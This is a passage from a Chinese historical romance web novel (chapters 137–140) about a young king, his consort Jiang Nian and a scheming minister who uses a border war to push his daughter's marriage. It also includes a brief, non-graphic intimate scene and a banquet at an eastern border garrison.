刚才那样凶险,她都没从他眼中看到波动,这会却从他的眼中看到了乞求。
“阿姐,你来,我不想让其他人看见,你帮帮我。”
江念愣着,她面前的房门再次被拍响。
“娘子,你在里面么?娘子?”
江念看了眼趴伏在桌面的小儿,一咬牙,对外面的秋水说道:“你在外面候着。”
接着就听到秋水应是,然后同小厮低语交代着什么。
江念一步一步走到小儿身边,低下身,扒了扒他额边汗湿的碎发,轻声道:“呼延小王子,会很疼,你不怕疼?”
“阿姐轻一点,我怕疼,轻一点……”
第137章 留侍宫闱
那小儿说是怕疼,却连一滴眼泪也未流。
江念心尖尖都在颤,这么乖巧,她绝不能让人再欺负他,于是吁出一口气,从袖中掏出一方巾帕,揉成团,慢慢放到小儿嘴边,小儿只怔了一瞬,便乖乖地张开嘴,江念将巾帕塞入他的嘴里。
终于,铁叉从他的肩头拔了出来,他也因此昏迷过去,这一昏迷就是一天一夜,年幼的呼延吉被江念安置在江府,享受着阖府上下的精心照顾。
尤其是江念,更是尽到一个大阿姐的职责,连江家小郎君,江轲都泛酸。
“阿姐,我以前病着,怎的不见你待我这般细心体贴?”
江念手里正端着一盘灶房新炸的鲜肉丸,还滋着热气,又酥又香,似是没听到她弟弟的话,用手拈了一个,递到江轲嘴边。
“你尝尝看,厨娘说这鲜炸肉丸里不仅有鲜肉,还放了脆藕沫,好吃着哩!”
江轲顿时笑开眼,张嘴,江念便把那肉丸放到他嘴里,问道:“好不好吃?”
江轲眯眼点点头。
“烫嘴么?”江念又问。
江轲摇了摇头:“不烫嘴,阿姐,我还能再吃一个。”
一语毕,就听江念低声道:“不烫嘴就好,那吉儿吃了也不烫嘴……”
说着,推开门,进到呼延吉养伤的屋里,独留江轲一人在屋檐下瞪眼发怔。
他再一转头,就见那夷越小王子靠坐在床头,而他的阿姐侧身坐在床沿,用筷子拈热乎的鲜肉丸喂给他吃。
不是肩膀受伤么,手又没伤,腿又没伤,怎么了呢这是?!
就这么,呼延吉在江府养了近两个月的伤,这这两个月中,夷越那边来人了,先是到江府拜见,然后留了两人在江府照看他们的小王子,其他人回小王子在京都的府邸。
待两个月后,呼延吉的伤调养得差不多了,就离了江府。
半年后,平昌侯死在他郊外的庄子里,待下人发现时,人已死去多时,因他一向没甚大病症,身上又查找不出任何伤口和中毒迹象,最后只能断为猝死……
江念将往事慢慢道出,对面的高太后始终不发一言,可她知道,这位尊贵的老妇人一定不像她表面看起来那样平静。
她本不想说,选择道出此番往事,也怀有一份私心,高太后先前对呼延吉的态度她看在眼里,母子间不该这样。
她只知大儿子的艰难,却不知小儿子的酸惨。
“你下去罢。”高氏说道。
江念起身,往后退了两步,躬身行礼,转身退下。
在她走出凉亭后,又走了一段路,回首望去,透过花木掩映的枝叶,高氏仍坐在那里,她看不到她的面目,只见一道直挺挺的背影。
……
议政殿……
呼延吉坐在御案后,殿中跪了一人,三十来岁的模样,蓄着美须,清癯如书生。
“昆善将军,起身回话。”呼延吉说道。
跪于殿中之人正是才从定州回京都不久的夷越大将昆善,曾同呼延吉一同攻取定州,后被呼延吉安排留守定州,如今定州已归属夷越,呼延吉便将他调回,另指派人往定州守城。
昆善起身,丹增指着宫侍上茶水。
“坐。”呼延吉用下巴指了指。
昆善谢过,坐下。
“大王,梁军正往夷越东境进发,一旦渡过星月湖便可占我佩城,再以佩城为据点,攻占东境。”
呼延吉耳中听着,眼睛看向面前的舆图,眼也不抬地问道:“东境那边的守将是达鲁?”
“是。”
呼延吉一声冷笑:“梁军为何突攻我东境,东境之外除了草原便是荒漠,杳无人烟,线途长,更有粮草不接之险,对梁军来说,并不易战。”
昆善凝目沉思,这一点他也想不通。
“王,眼下当务之急是确保达鲁率军过星月湖,阻梁军近前,只是这达鲁……”夷越关隘守将,守境是本职所在,但达鲁是朵尔罕的部下,东境之军只听朵尔罕的调派。
呼延吉让人通传朵尔罕。
朵府……
“我父亲呢?”
朵阿赤听得王庭来人的消息,便来他父亲院中问询。
“回大爷的话,老爷在房中更衣。”守门的小厮说道。
“进来。”一道苍沉的声音从房里传出。
朵阿赤推门进入,丫鬟们正在屏风后为他父亲更衣,朵尔罕换好朝服,从屏后走出。
“父亲,是不是东境那边……”朵阿赤迎上前,问道。
朵尔罕压了压手,示意他坐下。
“梁军动作倒是快。”
朵阿赤说道:“儿子有些担心,万一真让梁军渡星月湖,攻陷佩城,我夷越岂不要失守一城?”
梁师东犯,是他父亲阴遣细作通风于梁人,东境军不受呼延吉节制,调遣迟滞,故为夷越边陲虚处。
朵尔罕笑了笑,漫口道:“不过一个佩城,若呼延吉应下立妲儿为大妃,那佩城自当无恙,若他不应……料他不会不应,待妲儿立为大妃,再诞下王嗣,我朵氏之基业,便是铜浇铁铸再难动摇,朵氏与呼延氏共天下。”
朵家同高家不同,高家只在弥城坐拥私兵,而朵家不是,边境军兵虽为王军,可这王军中有几员将领是他朵尔罕的部下,明面上他们忠诚效力于越王,实则听命于他。
只要他朵家女坐在大妃之位,那么朵家用不了多久就会居于其他四姓之上,甚至同呼延氏并立。
朵阿赤思忖片刻道:“佩城虽为边陲小城,梁军由此侵入,万一抵挡不住,只怕后患不可估。”
“放心,梁军就算夺了佩城,他军后方不接,我军想要夺回并不难。”
朵阿赤未再说什么,他父亲虽这样说,但他认为事情不会这样简单,梁军哪就任他们摆布,让他们往东,他们就往东,让他们往西,他们就往西。
要么就是他父亲明知后患,比起让朵家女儿坐上那个位置,这后患在他看来不值一提……
阿多图守在王庭大门处,见朵家马车驶来,命亲卫放行,偏那马车在大门处停下。
车帘揭起,朵尔罕探身而出。
阿多图忙上前,行礼道:“朵老大人乘车径入王庭即可,不必下车。”
朵尔罕摆了摆手,一脸和善,笑说道:“岂敢僭越,王庭乃大王威仪所驻,臣本下僚,安敢以车马犯禁?自当下车趋步而行,方显人臣本分。”
“左大臣不必如此,下官得了大王之命,恭候在此,大王特意交代,左大臣可乘车直驱丹墀,老大人还是莫让大王久等。”阿多图说道。
朵尔罕想了想,颔首道:“既是如此,老夫遵从王命。”
说罢进到车内,马车方驶进王庭大门。
阿多图转过身,双手叉腰,看向马车行去的方向,“呸”的一声往地上啐了一口:“老东西,迟早收拾你。”
马车一直行到议政殿前停下,在夷越,从未有过朝臣的车马可进入王庭,更不可能径直通到议政殿。
车帘揭开,朵尔罕下了马车。
丹增已在车外候着:“左大臣随老奴来,大王已候多时。”
朵尔罕随丹增行到议政殿前,理了理冠带,步入,一进议政殿,向上伏乞跪拜,双膝刚沾到地面,一双手将他扶起。
“左大臣不必多礼,来人,赐座。”
朵尔罕向上谢恩,这才入座。
不一时,又有宫人上茶。
“不知大王召老臣前来所为何事?”朵尔罕恭声问道。
呼延吉走到窗边,背朝外,面朝里,看向朵尔罕,这才说起梁军往东境进发的消息。
朵尔罕听罢,面上先是一肃,然后说道:“梁军狼子野心,入我夷越东境,定是想渡星月湖,攻打佩城。”
此句说罢,便无后话。
呼延吉勾了勾嘴角,又道;“本王若没记错,东境守将达鲁是你的部下。”
朵尔罕一听,慌的从座位上站起,再“扑通——”一声跪下,连声道:“六合之内,君王之土,人迹所至,无不臣者,我夷越将士,皆属大王麾下,大王为君,老奴为臣,不敢当此之言,惶恐。”
呼延吉眼微眯,暗道,老家伙这是不见兔子不撒鹰,跟他打太极,想要好处,却又不自己开口。
呼延吉倏忽一笑:“本王同左大臣玩笑,何故就跪拜起来,快快起身。”
朵尔罕拭了拭额上的汗,略显吃力地起身,重新入座。
“依左大臣之见,梁军往我东境而来,我军该如何应对?”呼延吉直直看向朵尔罕,等他的回答。
这个时候,朵尔罕却不合时宜地从桌案上拿起茶盏,不紧不慢地呷了一口,又放下,叹息道:“今敌寇压境,为护我夷越疆土,老臣愿使犬子往赴东境,随将士勠力破敌,以退梁师,只是……”
呼延吉声音平平,问道:“只是什么?”
“只是……老臣对这个儿子最为器重,倾注心血最多,遣派他往东境,这一去,生死难测……”朵尔罕说着,掩袖拭泪。
呼延吉仍背靠着窗,外面就是郁郁葱葱的园林,光洒在他宽整的背上,脸却隐在背光处,听他说道:“左大臣衷心可鉴,本王心下感念,不知该如何封赏左大臣之衷心?”
“臣子者,当为君排解忧难,皆是老臣本分,怎敢讨要封赐,只是老臣年迈,独独放心不下小女,妲儿,若使小女留侍宫闱,得大王垂青照拂,老臣心愿便了,死也可闭目了。”
朵尔罕说罢,半晌不见对面回应,只有凉凉的风从敞开的窗户吹来,于是抬眼看去,心下一震,那人背着光,看不清面目,更探不出眼底的情绪。
朵尔罕可谓是久经世故,老谋深算,然而,在面对他们这位年轻君王之时心里却打起鼓来……
第138章 她就想独占他
朵尔罕从议政殿退出,此时天色已晚,丹增送他到马车边,相互告了几句,朵尔罕上了马车,缓缓驶离。
马车行上王庭甬道。
车内,光线昏昏,车帘荡起,一点点光线射入,借着朦胧的光线,老者面上的和善与谦恭荡然无存,一张脸如同泥塑木雕般,捉摸不定。
朵家门前,朵阿赤早已在门首迎候,侧目见他父亲平漠着脸,一语不发,于是捺下心中疑问,随在他父亲身后去了书房。
奴仆沏过茶水,退了出去,闭上房门。
“大王可同意了?”朵阿赤问道。
朵尔罕脑中闪过刚才议政殿中的一幕,他婉言让妲儿留侍于王庭,说罢后,半晌得不到回应,便抬眼看过去,他自认为沉稳,可当他看向那人时,身上却起了一丝寒津。
“此等大事,怎能当即应下,不过他没有多的选择,想要东境无恙,只能立我朵家女为大妃,以此拉拢朵家。”朵尔罕又道,“用不了多久,王庭的旨意就会下来。”
朵阿赤笑道:“还是父亲有谋算,让呼延吉不应也得应,只要小妹坐在大妃之位,再诞下王嗣,同王权盘结,利益共存,再难切割。”
朵尔罕想起一事,说道:“明日你便动身去往东境。”
“王庭立妃的旨意还未通达,万一……儿子的意思是万一,呼延吉不立妲儿为妃,儿子岂不是白跑一趟。”
朵尔罕看了自己儿子一眼,摇头叹了一口气,说道:“此事不论他应不应,你都需往赴东境。”
“这是为何?”
“若大王应下立妲儿为妃,那么你去东境击退梁军,便是立一大功,若王不应……你去往东境,在外看来依然是抗敌,就算败了,咱们朵家已然尽力,向上向下都有交代,谁也说不出什么来。”
“还是父亲思虑的周全。”
“去罢。”朵尔罕摆了摆手。
朵阿赤应声退下。
朵尔罕起身,走到窗边,仰望向东南方,那是王庭的方向,背后是巍峨的山体,模糊的夜色里,隐有星火闪动,他能让梵儿成为呼延成的大妃,就能再次让妲儿成为呼延吉的大妃。
彼边……
朵尔罕前脚才走,议政殿的帘幕后走出一人,正是昆善,君王召朵尔罕来时,并未让他退下,而是隐于幕后,刚才的对话,皆入他耳中。
“大王,朵尔罕话里的意思,无非是想让您立朵氏女为大妃。”
呼延吉沉了半晌没说话,过了会儿,才开口:“依昆将军之意,该当如何?”
昆善见他凝目不语,知他心中不愿,遂说道:“朵家野心昭然,但危况在即,敌寇已往我东境行进,依微臣之意,眼下先立朵氏女为妃,待此事平定后,大王再同朵家算后账,朵氏之女子,留与不留尽是王之股掌,届时有千万种法子治她们的罪,再以朵氏女为引,牵出朵氏一族,一举两得,挖根刨除,永绝后患。”
说罢,昆善见大王仍沉眸不语,知道他迟疑不决,再言:“王当速作决策。”
“昆将军说的是,本王心中有数,今日先议至此,将军先回。”呼延吉说道。
昆善还待再说,见君王眉目沉沉,不好再多说,只能应诺退下。
……
夜幕四合,西殿内灯火通明,江念坐在桌后,看了一会儿书,不知怎的,今日心神有些惴惴不宁。
平日里不论多忙,呼延吉总会抽空回一趟,就是不回内廷,晚间用饭前也必会回西殿。
现下夜已深,不知他手中事务忙完了没有。
江念唤来秋月:“你去膳房,让他们把热的吃食备在食盒里,拿来,再随我去一趟前殿。”
秋月应下,没过一会儿,提了一个三层屉的圆形大食盒。
江念本是沐过身的,身上穿的软绢寝衣,因要去前殿,宫婢们替她换了轻便的常服。
殿外乘辇已备下,江念领着秋月并几个宫侍往前殿行去,她从未夜间去过前殿,平日天色一暗,便回了寝殿歇息。
昼夜温差大,起了迷蒙的雾丝,江念拢了拢身上的外衫,下了夜露,不免觉着微寒。
远远行来两队齐整整巡视的银甲亲卫,铁甲清脆的擦碰声还有靴履飒踏之声在静谧且空阔的夜里格外醒神。
三个宫侍提着羊角灯在前方照路,昏黄的光只能照出不太远的一片,载着露水的夜风一来,灯影晃荡,像是脚下的地面也跟着不平稳。
转过一个拐角,便到了前殿,又行了一会儿,到了议政殿。
步辇缓缓落下,秋月上前搀扶江念下辇。
女人理了理坐褶的衣裙,抬头,目光穿过白玉石的雕栏,看向高阶之上的议政殿,窗纱上透着淡淡的光晕。
周围一片寂然,除了远处隐隐传来的巡卫齐整的脚步声和甲衣脆响的摩擦声,再无其他。
丹增守在议政殿外,见阶下有人影行来,觑眼望了望,先是一怔,赶紧趋阶下迎。
“夜已深,梁妃怎么来了?”
江念笑道:“我见大王未归,便过来看看,提了些吃食来。”说着从秋月手里接过食盒,一转眼见丹增面有异色,问道,“宫监是不是有什么话?或是大王不在议政殿中?”
“梁妃误会,大王在议政殿中,王今日心情有些忧烦,闭在殿中已有一日,到现在还未用饭食,奴才们送进的饭食动也未动,热着进去,冷着出来。”
江念点头道:“那来得正是时候,王的身子要紧,政务再忙也不能不吃东西。”
“是,奴才们也不敢劝,还得梁妃您帮着说一说。”
江念微笑着点了点头。
丹增进去通报,不一会儿从殿内出来,请江念入内。
江念提着食盒,一进殿里,就见呼延吉伏在案后,眉头锁着,连她进来,也未抬眼。
她行到他的身边,将食盒放在桌案上,然后安静地坐到他的身侧。
呼延吉自然知道江念进了殿,不过他思考事情的时候不太愿被打搅,便没理会她。
男人捏了捏眉心,终于从案间抬起头,看向江念,温声道:“这么晚了,你该早些歇下,来这里做什么?”
江念笑着站起身,将食盒打开,盖子刚刚揭开,散出喷香可口的食香,一盘盘菜馔摆放到侧案上。
“听说大王一日未进食,这怎么行,不吃不喝,脑子也转不动,任大王再英明神武,也变呆笨了。”
江念先盛了小半碗鲜骨汤,递到呼延吉面前,呼延吉接过,让她坐下,然后用勺子舀着喝了几口,因心中藏事,不太能喝得下,不过她好心送了一场,总要应付一下。
“又要打仗了么?”江念看着桌上的舆图。
呼延吉点头,只说了四个字:“梁军东犯。”
江念倾身看向舆图,呼延吉见她似有兴趣,便把身子往旁边侧了侧,让她看得更清楚。
江念见那舆图之上,画了几个圈,又有几道线,指向其中一道线,问道:“妾身观这里好大一片空白,不是城镇罢?”
呼延吉放下手里的碗,拉她坐到自己身侧,指着她刚才划过的一片区,说道:“这一片是草原。”
江念点头,继续道:“所以东境就是这一侧了?梁军往这边来?”
呼延吉“嗯”了一声。
江念不懂军事,以她的理解说道:“既然如此,大王派兵守住这里,不让梁军进犯,不就可以了?”
说着回头在呼延吉的脸上看了看,呼延吉回以一笑,江念看着他的眼,又道:“一定很难,对么?对妾身说一说,就算帮不上忙,也好过你把什么事情都压在心里。”
呼延吉看了一眼桌子上的舆图,便将东境人马归属朵氏一族的情况道出,东境军难以调派,若从其他地方调遣兵力,路途太远,人困马乏之下,诸多不可预测,犹似拆东墙补西墙。
不过呼延吉并未向江念道出朵尔罕出兵的要求,需他立朵妲儿为妃,只略略说了几句二人的对话内容。
纵使呼延吉不说,江念前后一想,也能料想到,朵家定是拿大妃之位作挟。
呼延吉收拾朵家是迟早的事,但他顾及自己,致使他在这道小坎前踟蹰不前。
一时间,殿中安静下来。
江念虽说做好了呼延吉再娶的准备,可真临到此事,她心里一千个一万个不愿意,心底不停地叫嚣,她就想独占他,不愿同别的女人共享。
她真的做不到……
呼延吉侧过眼,见她木怔怔的,有些后悔把这些政务告诉她,这些事不该她操心。
“有些晚了,我同你回去歇息。”
说罢,见江念仍坐着不动,微垂着头,不知在想什么。
“阿姐?”呼延吉叫了一声,她仍垂着颈儿发愣,正待再唤,就见她猛然抬起头,看向他,双眼生出不一样的光亮。
“妾身倒有一计,不知可行不可行。”
呼延吉并未当真,不过仍是笑道:“哦?阿姐有什么法子,说来听听。”
江念并未马上言明,而是问了一句:“刚才听大王说,朵尔罕之子会往赴东境?”
“不错。”
江念轻笑出声,一拊掌:“那就好,他可是主角,非得有他在场才行。”
呼延吉抵靠着案沿,环臂抱胸,见她一脸兴然,也来了兴致,连他和昆善都苦恼不已的况景,不知她有什么妙计应对……
第139章 一直陪在我身边
呼延吉等着江念说话,江念却并不着急,而是看向侧案上的饭菜,说道:“大王须得先把肚子填饱,妾身才说。”说着又特地加了一句,“而且……这个计策包管有用,药到病除,可解大王心中郁结。”
呼延吉忍不住笑起来,见她这样,心头的烦闷突然就散了,于是走到侧案边,坐下,江念从旁替他布菜,待他用罢饭后,又替他沏了一碗花茶。
呼延吉接过,喝了,看向她:“现在可以说了?”
江念嘴角含笑,缓缓道来:“朵尔罕遣派其子赴东境,无外乎两种可能,要么,对战梁军,立战功,要么,在人前做戏,好遮掩朵家之过责,向外有个说法而已,好似朵家已尽心尽力了,战不赢,届时大王也怪不得他们。”
江念停了一会儿,看向呼延吉,问道:“妾身分析得可对?”
不得不说,江念此番话语,倒真让呼延吉吃了一惊:“确实如此,你说的不错。”
江念点头,斜光中,看了一眼舆图,指了上去:“大王适才说东境大将是朵尔罕的部下,达鲁,对么?”
呼延吉“嗯”了一声,目光随之落到舆图之上,好似能透过纸页看到那一片空阔的原野,那也正是他的愁烦所在。
江念继续道:“大王心烦之处就是守将达鲁,因其是朵尔罕的部下,忧他不听王令,难调度。”随之又道,“有一句话说得好,破局关键在于症结,症结所在,破局之钥。”
呼延吉喃喃念着,破局关键在于症结……脑中突然一个闪念,心跳加快。
“阿姐,你继续说。”呼延吉催促道。
“大王试想想,朵尔罕让其子赴东境,这中间,谁的意见最大?边陲军营,上到统帅下到兵卒,谁不是一身浴血走来的,突然来一个高门之子,哦——打赢了,战功是你的,打输了呢?岂不是夷越的罪人,臭名声谁担着?”江念扬唇一笑,说道,“所以大王你说说看,谁心里最不痛快?”
呼延吉朗笑出声:“自然是朵尔罕的那名部下,达鲁。”
“是了,对于这类人,只需稍稍使个离间计,便可达成目的,能当营中统帅之人,不会蠢笨,自然知道如何做对他来说才是最好的。”
“达鲁此人胜负心极强,对朵尔罕之子面上不显,心底定是瞧不上,不过,正如你刚才所说,他并非什么蠢笨之人,就怕离间了他和朵阿赤,也难以让他听从调派。”此计虽好,但呼延吉不得不把事情方方面面都考虑到。
江念点头,继续道:“在朝为官,争得无非就是‘功名’和‘利禄’,以此为诱,他又岂会不听话?退一万步说,若他仍不听从调派,大王便可‘换将’。”
“换将?”
“不错,虽说战前换将是大忌,但这是没有办法的办法,自然不走到这一步最好,真若走到这一步,只需寻他一个错处便可。”
呼延吉点头,心中有了底,再看向江念时的眼神便不一样了,她怎么能给他这样大的惊喜呢。
“阿姐,你还有没有什么同说我的?”
他想听她再多说一点,她一定还有更多一针见血的见地,呼延吉隐隐觉着,他一直苦愁不解的大难,譬如如何瓦解上姓势力,如何集中王权,兴许能从她那里得到答案。
江念就像一个头脑极聪明的小孩儿,别人刻苦学习时,她就是玩,真当备考之时,她只消认真那么一瞬,就能追上他人多年的刻苦用功,还能交出一份不错的答卷。
江念看了眼外面的天色,黑黢黢的,撇了撇嘴,说道:“这都多晚了,先回殿寝罢,你把眼下这事解决了,再慢慢谈以后,事情一件一件来,一口吃不成大胖子,再说你夷越的政弊又不止一件两件,依我说,你们国家的问题大着哩……”
说到这里江念噗嗤一笑:“别到时候,明明我大你好几岁,结果你倒比我先老了。”
眼下问题有了解决办法,呼延吉心情大好,开玩笑道:“那成,以后阿姐就做我的幕后军师如何?一直陪在我身边,永永远远。”
江念吃吃笑起来,伸出一指,指向自己:“我?军师?狗头军师还差不多。”
一语毕,两人皆是笑出声。
守于门外的丹增听见殿内的笑声,惊道,大王已愁烦一整日,那模样他是看在眼里的,梁妃才进去多久,就把大王逗笑了,当真不是一般人的能耐。
就这么的,江念去了一趟议政殿,带回了呼延吉,回了西殿,她先上了床榻,呼延吉则去沐室净洗。
江念半倚在床头等呼延吉,等得有些无聊,起身走到书柜边,随手抽了一本册子,拿回床榻上翻看,看着看着困意袭来,眼皮变沉,竟睡了过去。
迷迷糊糊中,感到胸口处湿湿痒痒的,惺忪地睁开眼,就见呼延吉一身潮气,敞着衣襟,埋首在她膨隆的丘体处,慢慢研濡往下……
江念脑子虽然困倦,身体却在他一点点的挑拨下,热了起来,他湿漉漉的发尾落在她平坦的小腹上,那发尾似最为上乘的狼毫在她的肌上落笔,深深浅浅的画出一幅幽幽秘境。
在他的侍弄下,女人的皮肤一点点红粉。
呼延吉像是做成了一件大事,终于让江念展露出不一样的妍媚之态,他的耐心很足,只想品味更多,让她感受的再久一点。
江念双手捂眼,直到最后的最后,呼延吉侧身躺回她的身边,她也不愿意松开手。
“不过就是亲了一下,你就羞成这样?”呼延吉轻笑道,看着她那红透的耳,耳垂处像要滴血一般。
“那怎么能一样呢。”江念翻过身,背对着他,有些羞于看他的眼。
呼延吉使坏,凑到她的耳边,语中带着笑意:“怎么不一样了?不都是用嘴么?”
他这么一说,江念更是不愿理他,呼延吉不再闹她,怕将她戏弄狠了,起了反作用,于是不再逗她,从床上坐起身,拿袖子打了两下风,他身上也热,才沐洗过,这会儿又出了汗。
江念觉着身侧一轻,回头去看,就见呼延吉下了床榻,走到矮案边,屈腿坐下,给自己倒了一杯凉凉的花茶,一口一口慢慢地品着。
她收回眼,拉掩长衫,然后将手塞在枕下,今日她给他出了主意,纸上谈兵容易,真正实施起来,还要费一番功夫。
这么想着,慢慢地再次睡了过去,呼延吉几时上榻的,她也没有知觉,次日醒来,侧榻空着,床单褶皱没有温度,抚上去是凉的,人已离开多时。
……
崔致远直到进了王庭大门还跟做梦似的,觉得不真,狠狠掐了自己一把,“嘶——”了一声,疼!看来不是梦。
一路走来,他的小半辈子都是坎坷,没有顺畅过,只因他出身低微,空有才华报复却无处施展,后遭人设计陷害,得罪了徽城府令之子,无人举荐,从此仕途更加艰难。
不仅如此,连小命都差点不保。
然而他不愿放弃,抱着最后一丝决心,毅然去京都寻求希望,迎接他的是高门大户下人的白眼和讥讽。
他花掉了身上大半积蓄,却连人家的角门都进不了,直到这一刻他才意识到,一直以来,他都在痴妄,妄想他够不到的阶位。
他从怀里掏出余钱,苦笑一声,还好,够回家的路费了。
当他乘着板车坐到徽城城门前,将身上的余钱尽出付了车费,才一进城,就被套入袋中,接着头顶一闷响,脑中一嗡,就人事不知了。
再次醒来,他躺在了自家小屋的床榻上,耳边有人声,很熟悉,是情姑的声音,听她絮絮说着他悲惨的遭遇,很奇怪,原本自己还没觉着怎么样,但从别人嘴里听自己,就觉着格外的惨。
情姑说罢,他又听到一个懒闲闲的男声,骂他是傻子,那腔调是居高临下的审视和满不在意,他恼了,睁开眼,同他对峙。
那个时候,他怎么也不会料到,这位是天降的贵人,他的命运也因此开始出现转折。
他给了他一封举荐信,让他进了右大臣兀良哈门下,后来,他又受兀良大人之命,前往弥城。
谁能料到,当初那个被推拒门外的寒酸书生,在这一刻,竟步入了王庭,所谓一步登天也不过如此罢,王庭可不就是天么。
崔致远理好心神,随宫人走上平坦宽豁的王庭甬道。
宫墙高耸,远处山脊坐落着大大小小的宫宇,两边更是层楼巍峨,而那葱郁的树杪间又隐有檐角雕栏。
随路可见列队齐整的银甲卫在各条道上来回巡视,他知道这是王庭亲卫,上次在弥城处办高家之时,他同亲卫首领阿多图打过交道。
走了一会儿,行到一处阶陛下,引领他的宫侍便不再往前,只是躬身立在一侧,叫他上去,上面有人接引他。
崔致远颔首道谢,直到这一刻,他才醒悟,接下来他要面见之人是夷越之主,是他一直心心念念要报效的君王……
第140章 莺歌燕舞
崔致远进入殿内,头也不敢抬,只是用余光丈量着周围,趋步到一个合适的位置,一跪三叩,伏身下拜。
“草民,崔致远恭请大王圣安。”
一个声音从高阔的殿穹传来:“本王安,起身回话。”
这个声音听着实在耳熟,之前他心里不是没有想过,可又觉着太过匪夷所思,不敢相信,不能相信,当下缓缓起身。
“崔致远,抬起头来。”那个熟悉的声音再次从上首传来。
崔致远抬头看去,虽说已有准备,可当看到上首之人时,还是神魂震荡了一下。
面目还是那个面目,只是给人的感觉完全不一样,在他印象里,那位小阿郎是啷当不羁,是玩世不恭,你同他玩笑时,他能比你更顽,你同他认真叙说时,他也认真听你言语。
可绝不是眼前的凛凛气迫,赫赫威压。
呼延吉走到崔致远身边,暗暗点头,兀良哈曾向他提起过几次崔致远,言辞中透出欣赏和赞许,能得兀良哈青眼,此人可担一用。
落后,他让兀良哈指派他去弥城,惩治高家,从头至尾,他不出面,兀良府不出面,不过他会在他的背后立着,给他倚仗,让他放开手行事。
高家的事,办得很好,分寸处理得也得当,让他很满意,也算是对他的考验和试探,他需要一个没有根基之人,需是一个不靠任何派系之人,只忠诚于他。
在这一点上,这个崔致远有股傻气,偏就是这股死忠王权的傻气是他看中的。
这次,他找他来,任命他去东境,希望他不要让他失望……
炎光西坠,崔致远从议政殿出来,向一边的丹增告了几句,趋身下阶,由小宫侍引着出王庭。
离开时的心境同来时的心境全然不一样,此次只能成功,不容有失……
……
夷越东境……
东境之外是广袤的绿野,旷野之上居着牧人,人烟稀少。
东境的佩城同毗邻大梁的邕南完全不同。
邕南一带,民风更趋向于大梁,生活起居上,包括人的行止间,更为细雅温和,可东境不同,这一带城民的言行和生活习性更加粗放,比之夷越境内大部分城镇的民风,更为野向。
佩城将军府邸内。
天色将暗未暗之时,府中的厅堂已点起灯烛,歌舞一片。
舞姬们衣着裸露,一根粗长的辫子松懒地垂在身后,上身只着一件齐胸兽皮小衣,下着一条束脚灯笼裤,露出袅娜的腰肢,茶色的肌泛着光泽,蹁跹间妩媚又妖娆。
堂下两边一溜排案几,案几后坐着七八名身高体大的男子,一个个面目深刻。
正面上首位的男子,气迫更甚。
只见其三十来岁的模样,散着发辫,阔额,浓眉,鹰眼锐利,面目虽粗悍,神情却沉稳刚毅,稳如磐石。
此人便是东境大将,达鲁。
堂中众副将发现他们的头儿眉目隐着不快,对堂中莺歌燕舞视而不见,独自喝着闷酒。
“嗳,老大是怎么回事?”
说话这人看起来还很年轻,歪扎着一根小辫子,名鱼九,只见他凑到另一个年龄稍长之人身侧,又往上首睇了一个眼色。
那年纪稍长之人亦是达鲁身边的副将,人称老鬼,只听他说道:“听说京都要来人。”
“我当什么,京都来人,又不是梁国来人,我说老大怎么跟吃了败仗似的。”
“你小子懂个屁!这京都来人比梁国来人更让他头大,你当京都来的是谁?”
“难不成是……朵家?”
老鬼点点头,算是回应。
鱼九便不说话了,朵家派人来为的什么,稍一想便知道,无非就是来抢功镀金的。
“我就想不通了,老大在朵家手底下这般憋屈,换个靠山不就得了,有句话怎么说来着?‘此处不留爷,自有留爷处’”鱼九摇头晃脑地说道。
老鬼嗤笑一声,喝了一口酒,说道:“嗳——就你这脑袋瓜,还能说出‘此处不留爷,自有留爷处’,你在哪儿学的?”
鱼九嘻嘻笑两声:“哪儿听的,就在哪儿学的。”
“你也就这身拳脚拿得出手,脑子完全不行。”老鬼觉着鱼九同他的名字一样,鱼脑,不太够用的样子。
不过鱼九能坐于这堂间,做达鲁的手下,自然也有他的本事。
老鬼以为自己说了这话,鱼九好歹要反驳几句,不承想,他来了一句:“我做事不靠脑子,靠这个。”说着,伸出拳头在空中比划了几下。
说完,仍是脸上带笑,一副不记仇的样子,拿胳膊杵了杵老鬼:“老鬼,你说说为何咱们老大不改换门庭?”
“你以为谁都同你一样好运,一进军营,就被大将相中,哪吃过底层兵卒的苦。”老鬼叹了口气,“咱们老大是从泥地里滚过来的,知道这中间遭了多少罪么,没人提携,没有靠山,任你本事再大,那也是冲在前面送死的命。”
鱼九眼睛一骨碌,说道:“所以说是朵家提携?”
老鬼点点头:“哎哟,难得!今儿一点就明白了。”
鱼九咂摸一声:“朵家对老大有恩……咱们老大向来是有恩必报之人,这么些年,恩情要还早该还完了,怕他个鸟蛋儿。”
老鬼一听,敲了一下年轻男子的头,又看了上首一眼,说道:“恩情还完了,可这中间的绳却剪不断了,你想想,老大是朵老大人一手提携上来的,这中间牵扯多少事,讲不清咧!是你想抽身就能抽身的?还有,就算抽身,再去投靠谁?投到谁的门下都是颗暗疮,谁不多心忌惮,那些高门大户不会给自己找不痛快。”
鱼九本是一副嬉笑模样,这会儿面色讪讪的,心忖着,在他心里,老大一直是他仰望的存在,东境大将,掌一方生死,军中万万将士全听命于他,这是何等的威风。
算是他们武将能走到的最顶端,然而,纵使英悍如老大,在那些上姓门阀面前也受牵制,需仰大族的鼻息。
“唉!没办法的事,已然走到这一步,只能硬着头皮走下去,太多身不由己,再者,咱们老大还是太过实心忠诚,总觉着没有朵家,就没有他今日,打算拿一辈子还恩情。”老鬼说罢,自己给自己倒了一杯酒,仰头喝了,又推了推鱼九,“去,去,坐回你的席位,别挤我这里。”
鱼九这会儿也没了嬉闹的心情,正待坐回自己的席位,歌舞突然停罢,听得周围起身的响动,身侧的老鬼也站了起来,往上一看,上首桌案后空着,人已去。
达鲁才回后宅,随侍来报:“将军,依着时间,不出意外的话,这两日人便到佩城。”
男人闭了闭目,“嗯”了一声,又问了一句:“梁军那边是什么动向?”
“探报消息,梁军驻于西南一带,没再行进。”
达鲁颔首表示知晓,随侍退下。
男人走到院子的石桌边,坐下,立时有丫鬟前来上茶,他刚将茶盏端起,院子里的一扇房门开启,从里面走出一年轻女子,二十来岁,方圆脸,眉目很有神采,不算顶好看的面貌,但给人一种明媚大方的态度。
女人叫阿枝,居于将军府后宅,至于此女的身份,众说纷纭,有说此女是将军的奴姬,也有传此女不过是将军好心收留的苦命女。
传什么的都有,但有一点可以肯定,这女人不是将军之妻,因为他们将军还未有妻室。
“怎么愁苦着脸?”阿枝走到男人对面坐下。
达鲁看向来人,将愁烦掩下,微笑道:“无甚大事,左不过是军营里的一点子杂事,是不是刚才说话吵到你了?”
